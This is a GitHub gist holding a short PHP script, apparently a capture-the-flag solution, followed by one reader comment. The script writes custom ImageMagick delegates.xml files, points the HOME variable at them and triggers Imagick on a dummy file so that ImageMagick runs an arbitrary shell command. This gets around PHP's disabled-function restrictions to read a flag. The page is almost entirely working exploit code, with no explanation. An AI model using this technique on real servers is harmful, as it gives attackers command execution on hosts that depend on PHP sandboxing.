Skip to content

Instantly share code, notes, and snippets.

@tyage tyage/wallbreaker.php

Last active Apr 1, 2020
Embed
What would you like to do?
<?php
$home = '/tmp/84d99af2ce44bb1dd3398190b930c8ac';
ini_set('display_errors', 1);
mkdir("$home/.magick/");
file_put_contents("$home/.magick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
mkdir("$home/.config/");
mkdir("$home/.config/ImageMagick");
file_put_contents("$home/.config/ImageMagick/delegates.xml", "<delegatemap><delegate decode=\"foo\" command=\"/readflag > $home/flag\"/></delegatemap>");
touch("$home/test.foo");
$_ENV['HOME'] = $home;
var_dump(putenv("HOME=$home/"));
var_dump(getenv("HOME"));
try {
$i = new Imagick("$home/test.foo");
$i->writeImage("$home/test.png");
} catch(Exception $e) {
var_dump($e);
}
var_dump(file_get_contents("$home/flag"));
@Southseast

This comment has been minimized.

Copy link

Southseast commented Mar 25, 2019

Orz

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.